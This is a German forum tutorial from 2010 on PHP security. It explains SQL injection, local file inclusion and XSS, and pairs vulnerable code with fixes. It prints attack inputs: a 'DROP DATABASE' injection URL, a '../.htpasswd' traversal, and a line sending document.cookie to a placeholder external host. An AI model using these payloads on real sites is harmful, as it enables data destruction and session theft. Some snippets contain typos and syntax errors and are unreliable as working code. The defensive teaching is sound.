[Tutorial] PHP Sicherheit: SQL Injection / Local File Inclusion / XSS

Dieses Thema im Forum "Security Tutorials" wurde erstellt von alsdwo3, 12. Juni 2010 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 12. Juni 2010
    PHP Sicherheit: SQL Injection / Local File Inclusion / XSS

    Hallo RRler,

    hier ein Tutorial ueber PHP Sicherheit:

    Inhalt:

    1. (Angriffs)methoden
    2. SQL-Injection
    3. Local File Inclusion
    4. XSS
    5. Fazit

    1.Methoden

    Ich werde hier nun kurz auf die verschiedenen Methoden eingehen.

    SQL-Injection
    Bei dieser Angriffsmethode werden verschiedene Parameter in der URL oder in einem Forumular (Email) veraendert, mitden man dann boesartige SQL-Abfragen ausfuehren kann.

    XSS (Cross-Site Scripting)
    Bei dieser Methode versucht man, einen boesartigen Javascript Code in eine Seite einzuschleusen oder zu speichern, welche ungewollt vom Besucher ausgefuehrt werden.

    (ServerSide) Local File Inclusion
    Hierbei versucht man in eine Webseite eine fremde Datei zu laden.
    Entweder liegt diese schon auf dem Server, oder diese wird von einem externen Server geladen.


    2.SQL-Injection

    Beispiel:
    {bild-down: http://www.imgload.eu/img/16398sql.png}


    Code:
    Spoiler
    PHP:
    <? php 
    $res 
    mysql_query ( "SELECT * FROM `users` WHERE `userid` = " . $_GET [ "id" ]);
    ?>

    Was passiert allerdings wenn man keine Zahl angibt?
    Jemand versucht nun SQL Code einzuschleusen.
    dazu ruft er die URL wie folgt auf:
    showuser.php?id=1;+DROP+DATABASE;+--
    Das würde dann wie folgt aussehen:
    Wird nun die Datei aufgerufen, passiert nichts bzw. kann keine SQL-Injection durchgefuehrt werden.

    showuser.php?id=1
    Was passiert aber wenn man keine Zahl angibt?
    Nun versucht jemand ein SQL Code einzuschleusen.
    Dazu ruft er die URL wie folgt auf:

    showuser.php?id=1;+DROP+DATABASE;+--

    Das wuerde dann so aussehen:

    {bild-down: http://www.imgload.eu/img/67081sql2.png}


    Code:
    Spoiler
    PHP:
    <? php 
    $res 
    mysql_query ( "SELECT * FROM `users` WHERE `userid` = " . "1; DROP DATABASE: --" );
    ?>

    Nun wuerde als erstes die Abfrage erfolgen, und danach die Loeschung der Datenbank, was natuerlich fatal waehre :O
    Deswegen muessen wir die Werte ueberpruefen.

    {bild-down: http://www.imgload.eu/img/4935sql3.png}


    Code:
    Spoiler
    PHP:
    <? php 
    $res 
    mysql_query ( "SELECT * FROM `users` WHERE `userid` = " . intval ;( $_GET [ "id" ]));
    ?>

    Durch die Intval() Funktion wird sichergestellt, dass nur Zahlen ausgegeben werden.
    Falls du mal Werte brauchst, welche keine Zahlen sind, solltest du IMMER die
    mysql_real_escape_string() Funktion verwenden/benutzen.
    Dies sollte bei jeder Variable erfolgen, welche nicht von dir vorher fest deklariert wurde.

    Sprich alle $_GET, $_POST, $_REQUEST, $_SERVER, $_COOKIE Variabeln koennen Werte enthalten, welche der Anwender abaendern kann.
    Also pruefe stets die Werte, welche erlaubt sind.
    Damit bist du vor SQL-Injections geschuetzt!

    3. Local File Inclusion

    Beispiel:
    {bild-down: http://www.imgload.eu/img/71338include.png}


    Code:
    Spoiler
    PHP:
    <? php 
    $page 
    $_GET [ "seite" ];
    include 
    $page ;
    ?>

    www.seite.tld/index.php?seite=nachrichten.php
    Ansich soweit verstaendlich, oder?
    Was passiert allerdings wenn man so die Konfigurationsdatei aufrufen will, wenn eine vorhanden ist?
    So wuerde man in einigen Faellen die MySQL Zugangsdaten zu Gesicht bekommen.
    Natuerlich kann man auch eine Datei aus einem anderen Verzeichnis laden:

    ?seite=../.htpasswd
    Jenachdem wie die Server Einstellungen sind, werden diese Daten sofort ausgegeben, und somit hat man Zugriff auf jegliche Sensible Daten.
    Deswegen sollte man die Variablen immer genau pruefen.
    Dies geht am besten mit einer Whitelist.

    {bild-down: http://www.imgload.eu/img/34173include2.png}


    Code:
    Spoiler
    PHP:
    <? php 
    $allowed_pages 
    = array ( "nachrichten" , "user" , "home" );
    $oage  basename ( $_GET [ "page" ]);
    if(empty(
    $page ))
    {
        
    $page  "home"
    }

    $full_page_name  realpath ( $page . ".php" );

    if(
    in_array ( $page $allowed_pages ) &&  file_exists ( $full_page_name ))
    {
        include 
    $full_page_name ;
    }
    else
    {
        include 
    "home.php" ;
    }
    ?>

    Mit dieser wird sichergestellt, dass wirklich nur die Dateien inkludiert
    werden, welche auch im Array der Whitelist angegeben/enthalten sind.

    4.XSS- Cross-Site-Scripting

    Nun zu XSS.
    Vielleicht habt ihr spaeter mal ein kleines Script geschrieben wie z.b ein Gaestebuch o.ä. und es gegen SQL Injections gesichert, wobei nun kommt das naechste Problem.
    Der jeweilige User benutz keinen SQL Code sondern JS, welches vom Browser ausgefuehrt wird, was tut man dann?

    Beispiel:
    {bild-down: http://www.imgload.eu/img/88307xss.png}


    Code:
    Spoiler
    Code:
    <script>alert(/XSS/);</script>


    Vielleicht denkt ihr euch nun, das so eine kleine Alert box kein Sicherheitsrisiko ist, aber damit liegt ihr Falsch.
    Mit javascript kann man auch die Cookies auslesen.

    Wuerde dies nun in einem Gaestebuch stehen, so wuerde jeder Besucher eine unschoene Meldung bekommen, sofern er Javascript aktiviert hat.
    Falls ihr nun denkt "Ach egal ist eh nicht gefaehlich" dann liegt ihr falsch.
    Mit JS kann man so ziemlich alles machen.
    Cookies auslesen o.ä.

    Beispiel:
    {bild-down: http://www.imgload.eu/img/13601xss2.png}


    Code:
    Spoiler
    Code:
    alert(document.cookie);
    Wenn man diesen Wert nun noch als Parameter an einen externen Server schickt.

    {bild-down: http://www.imgload.eu/img/46108xss3.png}


    Code:
    Spoiler
    Code:
    new Image() .src=http://domain.tld/cookiephp?cookie"=document.cookie;
    Damit werden alle Zeichen die in HTML verwendet werden, konvertiert.

    In solch einer Datei wie oben, wird dir vom Angreifer eine Mail geschickt, welche dir deine Cookie Daten klaut.
    Deswegen sollte man alle Variablen die ausgegeben werden ueberpruefen.
    Eine Ueberpruefung nach ' und " bringt dort nichts.
    Besser waere die Funktion htmlentities().
    Mit dieser werden alle Zeichen die in HTML verwendet werden umkonvertiert.

    5.Fazit

    -Vetrau niemals auf die Werte, welche ein Benutzer veraendern kann ($_SERVER)
    -Alles gruendlich nachrpuefen um Fehler bzw. Sicherheitsluecken zu vermeiden
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.